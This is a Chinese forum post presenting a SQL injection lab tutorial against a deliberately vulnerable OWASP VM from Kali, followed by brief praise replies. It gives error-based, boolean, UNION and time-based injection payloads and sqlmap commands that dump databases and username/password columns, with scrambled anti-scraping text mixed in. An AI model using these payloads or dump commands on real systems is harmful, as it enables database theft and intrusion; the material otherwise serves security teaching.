找回密码
 加入怎通
查看: 322|回复: 8

SQL注入攻击及防御详解(sql注入攻击和防御实验)

[复制链接]
我来看看 发表于 2023-03-19 11:03:18 | 显示全部楼层 |阅读模式
9 X: R$ r& @* R) D0 s

在owasp年度top 10 安全问题中,注入高居榜首SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序, 而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地 过滤用户输入的数据,致使非法数据侵入系统。

! ?5 L6 ^0 h8 j, p) l

对于Web应用程序而言,用户核心数据存储在数据库中,例如MySQL、SQL Server、Oracle; 通过SQL注入攻击,可以获取、修改、删除数据库信息,并且通过提权来控制Web服务器等其他操作;

9 t+ d4 V# U \

SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程; 因为SQL注入漏洞造成的严重危害性,所以常年稳居OWASP TOP10的榜首!1.实验说明 $ R7 e% u' K) H# |* o 目标靶机:OWASP_Broken_Web_Apps_VM_1.25 o3 x/ D: I# T3 G( r0 C' ^" K) I

6 i7 @: K6 D+ E2 p$ g! W( G# ?; w

下载地址 , a/ K `+ h6 O. D) L2 E- w 测试渗透机:Kali-Linux-2018.2-vm-amd644 g% U( D# a3 ^ 下载地址1.SQL注入的危害 5 S; t' ?) K w1 n 1、拖库导致用户数据泄漏;- r$ R. [2 D; @2 D$ f5 R% h) h/ E' ] 2、危害web等应用的安全; - ^8 S T+ k" W8 Y 3、失去操作系统的控制权; 0 G" Z- U5 F; ?) l2 n 4、用户信息被非法买卖;; y1 B* r9 ]9 ?8 f- \) Q0 K 5、危害企业及国家的安全!

/ C, e! |$ X+ x

2.注入流程 : v2 V3 b) J4 r, j/ ^/ x7 r& T 1. 判断是否有SQL注入漏洞; % o& b- h- V+ A) M8 `1 C 2. 判断操作系统、数据库和web应用的类型; @9 l3 x% C2 N! P; [0 b 3. 获取数据库信息,包括管理员信息及拖库; 8 P; P0 V" Z: V 4. 加密信息破解,sqlmap可自动破解; - |% K7 r8 T/ @% R 5. 提升权限,获得sql-shell、os-shell、登录应用后台;

) [) j) N B& u% I' A% h

2.手动注入实战 1 }/ [! p, } ^- I% p 1.基于错误的注入 ' n# w1 B0 s# I8 V& O 错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点; 通过数据库报错信息,也可以探测到数据库的类型和其他有用信息* ~. Y- q& N6 n 通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。

" b& X, ^: T! R% Q8 g3 \8 S

SQL注入语句解析: 3 d( X. I3 B& b/ K mysql> select first_name,last_name from dvwa.users; ' ~( I3 U6 S+ U& O mysql> select first_name,last_name from dvwa.users where user_id=1; - [+ M" |3 j! O6 [ z9 K #你输入1 相当于在最后的两个单引号中间插入一个1来执行mysql的查询语句

! x4 V2 J0 n8 j8 G9 R' _4 n% t

怎么样判断我们是否可以注入呢?) t/ p5 q, r9 H* l. t- y& w

F* Y" r" N7 y5 ^

q) ?. Z* I. m" t& b: b$ R7 g 会发生页面报错 6 Z/ P8 i& S. g9 o You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1

* a* d# C/ v7 e6 _5 `; j% L

SQL注入语句解析:% S5 Z- S; a" r, l* D mysql> select first_name,last_name from dvwa.users where user_id=这就代表此网站我们可以注入,有注入点. t' f7 `( g- I; r1 c! Q) [" q 2.基于布尔的注入: y+ b; _, r( c) j 。

' y& } H. P: z, p3 Y

这里面用到的是or,布尔逻辑注入的思路是闭合SQL语句,构造or逻辑语句、注释多余的代码 $ d3 ^# v c! q; t1 g/ Q

+ R9 i# U8 v) m/ k, `$ Y

注入语句: or 1=1 --! Q7 |6 x) |/ l* \+ Z; P: ^8 D 原始语句:( s' [7 q" T) e* p# x+ d6 j2 r* [ mysql> select first_name,last_name from dvwa.users where user_id= 1 z4 X7 J# R- t8 X SQL注入语句解析: or 1=1 --7 L( F& P3 m S' r( T) ]- K mysql> select first_name,last_name from dvwa.users where user_id= or 1=1 --6 Q9 B5 i1 p; x/ P( ? 说明:# Q, A5 o Y A7 A6 P 第一个 用于闭合前面的条件 / [7 X& N. L' G" X# k( `- f+ n or 1=1 为真的条件 7 L) ]5 z+ L' ~3 y4 d8 n4 t -- 将注释后面的所有语句 # N$ {- n6 i3 h; x 仔细看where user_id= or 1=1 -- 这个条件语句 4 H! ^% L: q( T7 y% ] user_id= 这个语句肯定是假的,因为我们的ID是阿拉伯数字,而这里面是空,所以为假 " r! ]7 f6 o# ]: ~" f 但是1=1 这个语句肯定为真 -- 是注释的意思,也就说后面的不用管5 O7 s* f: Q7 Y% k# [ or 表示有一个条件为真就是真% V; O8 r. J+ k- r5 ]7 Q3 V 那总得来说这个where语句一定为真: @6 y5 J7 K; X! O8 H 整个语句的意思是从dvwa库的users表里面查询first_name,last_name两个字段的所有内容

6 I2 I' m1 \$ H: I

3.基于UNION注入 % a0 K: Y# @0 {- d& f$ d3 y UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;, g+ u9 f- L0 x+ k 一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息 / @" ? P& K7 m: K //猜测数据列数. p; Q" E3 H" h' U2 T1 `- ~ union select 1 -- , s2 o6 t* j# [ union select 1,2 -- % [6 z) O& A8 |% O) q; Z; q union select 1,2,3 --+ B7 F0 J1 h/ K. ^% V2 @" m. V7 Y union select 1,2,3,4 -- 8 l% \' O1 z) Q3 {" I SQL注入语句解析: C; v$ V L r) e' a mysql> select first_name,last_name from dvwa.users where user_id= union select 1 --7 L8 j7 t; q4 F mysql> select first_name,last_name from dvwa.users where user_id= union select 1,2 -- * E! d2 U6 H- G/ [1 [. l6 T6 h3 g+ O; u; }6 k //union是我们注入常用的方式,里面的1,2,3 代表的是字段名,union语句查询的时候,前后的/ ?! H6 \) C: K q3 W 字段数量必须相同,所以我们可以用数字代表字段,来猜测union之前的语句中有几个字段。

6 W4 w" a+ k; P% E5 M

这里: o6 Q4 H7 V' ~* h/ ~7 a; Y/ O% \ 显然只有两个字段

/ X/ X- g4 X: P3 g5 b

你查询的不一定非要是字段,也可以是版本,表之类的 & W9 u. k, y( q/ Y: G* o$ N' Z //获得当前数据库及用户信息& I) Y# r! R7 \; C& L union select version(), database() -- ) V1 o; w) S# W, ?# L* g( {) V union select user(), database() -- ) B- }( Q2 J( [5 _3 p$ m //查询所有库名 ) o! m3 U0 H/ g/ d" Y3 f. L union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- 7 e8 X/ z6 x+ ` #这里面的1 只是一个列的代替,没有什么含义,但是如果你缺了这个1 前后列数量不一样会报错的1 x0 F3 k3 `1 V7 e+ P' e5 J3 r //查看所库中所有表名 3 @" Y5 t; X; V3 H4 m9 l union select table_name, 1 from INFORMATION_SCHEMA.tables -- # _- V$ }( k- [1 | //同时查询表名及对应库名& P: d2 _7 w6 U9 ~8 q: C$ w5 c union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- k. [2 ]7 \& b/ R/ ]1 @ //查询数据列( Y( ?7 a" I" u/ }' c union select NULL, user from users -- union select NULL, password from users --( Y1 F* W. v* g8 p4 m. u* l% n6 P union select user, password from users -- union select NULL, GRANTEE from USER_PRIVILEGES -- 0 i4 K) D; V, E. x7 f/ Q+ o 因为union前面只有两个字段,那我们想要查询多个字段怎么办?, u) r( {% {: |% X# J$ ^9 U+ w* m R& A 用mysql自带的函数concat(),如/ d0 T2 Q* m6 Z, B1 n union select password, concat(first_name, ,last_name, ,user) from users -- # C# x0 p% U. c, J, W$ f" U& v! j

# t* o) `4 o4 C4 \7 n$ |7 O; ^4 p

& I7 L& \; v- Q# D" g 4.基于时间的盲注 9 P: {" T8 V0 ?0 f) W& V 有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点1 and sleep(5) --) C0 z$ ]0 Z0 \ SQL注入语句解析: $ m; T: q' X9 l! i2 V mysql> select first_name,last_name from dvwa.users where user_id=1 and sleep(5) -- 。

* D. i2 e% [+ }* f" [

3.sqlmap自动化注入SQL注入比较好用的工具,首推开源工具SQLmapSQLmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动 化检测,利用SQL注入漏洞,获取数据库服务器的权限它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳 定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系 统命令。

# e H6 D6 U+ u9 o* G5 W$ `; R

SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

; W0 P) U ^8 z/ P2 |

. J& x) {# A/ c3 A 1.GET方法注入+ f$ q0 p- G! q3 m* @$ {% F9 k 打开kali,用户名root 密码toor $ ^- U0 t/ g4 y+ A1 ^! [4 m

: g3 P. p* r; ^& F7 Y# ]3 F6 d

2 O6 r9 T7 G( R! t 查看帮助我们发现我们需要获取到网页的url+ _1 s, L0 f9 ]! l; t" h

" w0 Y. F/ j! y% w# L

+ N3 W. `0 h3 z, i6 K5 m 然后我们把该网页的连接复制下来在kali里面进行测试root@kali:~# sqlmap -u "http://192.168.13.144/mutillidae/index.php?page=user-info.php&username=yjssjm&password=123&user-info-php-submit-button=View+Account+Details"

; b' f" H* l; S8 R& T

sqlmap参数解析: # h0 w4 z- D4 R2 p6 A --users #所有用户. {1 [+ F, q7 B --current-user #当前用户0 b/ Y6 l. n* x! X* _ --dbs #所有库 * ], o; c5 R9 E; J7 R4 q: Q, T --current-db #当前库 - {0 d) ^% c2 C2 M( l -D "database_name" --tables #指定库名" p% T5 L) K) y. K( Q -D "database_name" -T "table_name" --columns #指定库名和表名$ j: n0 L, S8 O! b! ^ --dump-all #所有的内容 2 m0 [ q6 d h0 K2 u! ~ --dump-all --exclude-sysdbs0 \$ C/ s0 E# ~) R0 n3 E2 t5 M -D "database_name" -T "table_name" --dump w! I) i7 Y" c3 N9 T# v -D "database_name" -T "table_name" -C "username, password" --dump 8 T0 M8 z$ E6 K8 z7 S0 q #-C 指定字段 9 o# T, U6 E! i0 J0 G --batch //自动化完成 6 Q: G V+ f; Y, J 示例步骤: ; s: y; ]. ]- u' _7 x V0 f2 ]2 b t 1. 获得当前数据库: O/ x# e: w( o( u' f root@kali:~# sqlmap -u "你自己的url" --batch --current-db. r G/ L4 B3 ~% b& R2 l9 e( S* s 2. 获得数据库表 % c; Y8 E: @ w) v4 `% s root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp --tables: I A. ^2 s r! a) }$ g8 v 3. 获得表的字段 a* M' ~+ ~9 }5 g" `% ~6 v: Z root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts --columns* o; H% f ~- ]% `1 S% }& _ 4. 获得表中的数据, J8 N) |; ~0 f root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts -C "username, password" --dump

6 E; W% ~% B3 D& \. {1 D9 M

3 j( D0 F% K5 F* W 2.POST方法注入3 c/ g9 k! d; w 需要带cookie才能访问的注入页面,--cookie="" + t5 X) v0 @. {. P5 [% o9 j+ X

E* ~6 c1 z/ ?8 G1 J6 F5 u

root@kali:~# sqlmap -u "http://192.168.13.144/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=ehqbg9j6di70nk4ku6fm187co1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --batch

* q o# T+ m7 F8 x

2 l, q f4 v& G" P3 M5 M 参数跟get获取的参数一样,就是post需要用url+cookie你们的评论和点赞是我写文章的最大动力,蟹蟹。

2 ~: w& ^, L9 l) ~: M/ S+ \1 x- l8 l; x1 m4 R1 G2 M7 z 5 I. e* T s5 j% ~) d6 P# v 3 r+ |# _5 a. c. Y9 y, ^2 G2 Q4 ~, r$ n

暂时无法加载帖子列表

回复

使用道具 举报

soolanet 发表于 2026-03-14 15:01:10 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复

使用道具 举报

风停花开 发表于 2026-05-29 01:12:05 | 显示全部楼层
分析得很透彻,很多细节都说到点子上了~
回复

使用道具 举报

Chilsion 发表于 2026-06-01 06:12:01 | 显示全部楼层
蹲了这么久,终于看到有价值的讨论,支持一下!
回复

使用道具 举报

hihihi 发表于 2026-06-06 16:55:52 | 显示全部楼层
内容很干货,没有多余的废话,值得反复看
回复

使用道具 举报

ghdugd 发表于 2026-07-05 11:33:39 | 显示全部楼层
楼主太厉害了,整理得这么详细,必须支持
回复

使用道具 举报

www41236net 发表于 2026-07-15 03:59:00 | 显示全部楼层
说得很实在,没有夸大其词,这种真实分享太难得了
回复

使用道具 举报

yatou0309 发表于 2026-07-16 20:00:31 | 显示全部楼层
这个思路很新颖,打开了新世界的大门,谢谢分享
回复

使用道具 举报

txwz002 发表于 2026-07-18 11:48:45 | 显示全部楼层
这个分享太实用了,刚好能用到,感谢楼主!
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-10-1 10:16 , Processed in 0.041644 second(s), 25 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表